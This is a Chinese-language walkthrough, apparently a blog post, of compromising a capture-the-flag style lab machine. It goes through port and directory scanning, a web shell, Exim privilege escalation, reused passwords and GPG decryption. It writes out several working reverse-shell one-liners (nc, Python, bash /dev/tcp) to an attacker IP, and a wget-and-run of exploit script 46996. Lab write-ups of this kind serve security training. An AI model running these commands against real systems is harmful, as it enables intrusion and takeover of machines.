主机发现访问第三个ip端口扫描发现ssh端口放到25468了,先记着利用dirb进行目录扫描查看robots.txt爬虫协议给了我们一封信,这是第一个html文件第二个dev_shell.phpfantanshellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.128 1234 >/tmp/f测试python3python3反弹shell也不行python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' 对其进行url编码(也不行)用bash试了试,没有任何回显/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1那么进行嵌套试试,这样就反弹成功了bash -c '/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'创建交互式终端python3 -c 'import pty; pty.spawn("/bin/bash")';在查找suid文件的时候,意外发现了一个eximfind / -perm -4000 -print 2>/dev/null看看他的版本信息,是4.89漏洞检索出来一个 46996将其复制到当前目录,并开启一个交互式终端靶机cd /tmp wget 10.10.10.128:5000/46996.sh chmod +x 46996.sh ./46996.sh失败了,切换思路这里有两个密码信息,Qwerty / theadminisdumb经过测试后,这两个密码分别对应着 jc / elliot,这两个用户,有了密码,并且发现他们都能使用sudo在这个bob用户的文档发现了一个gpg加密的文件,我们从靶机下载下来python3 -m http.server我们使用kali的gpg工具解密.gpg 文件是使用 GPG(GNU Privacy Guard) 加密工具生成的文件格式,通常用于保护文件内容的机密性。这类文件需要通过 GPG 私钥和密码才能解密。gpg login.txt.gpg需要我们输入密码我们找找密码继续搜查,发现一个脚本文件,内容是输出一些语句,每行的首字母都是大写,将每一行的大写字母都提取出来 HARPOCRATES,这会不会就是刚刚加密文件的密码?++解密成功,得到了bob用户的密码为b0bcat_ssh bob@10.10.10.204 -p 25468至此提权结束往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,728 阅读
0 评论
0 点赞
1
...
6
7
8
...
14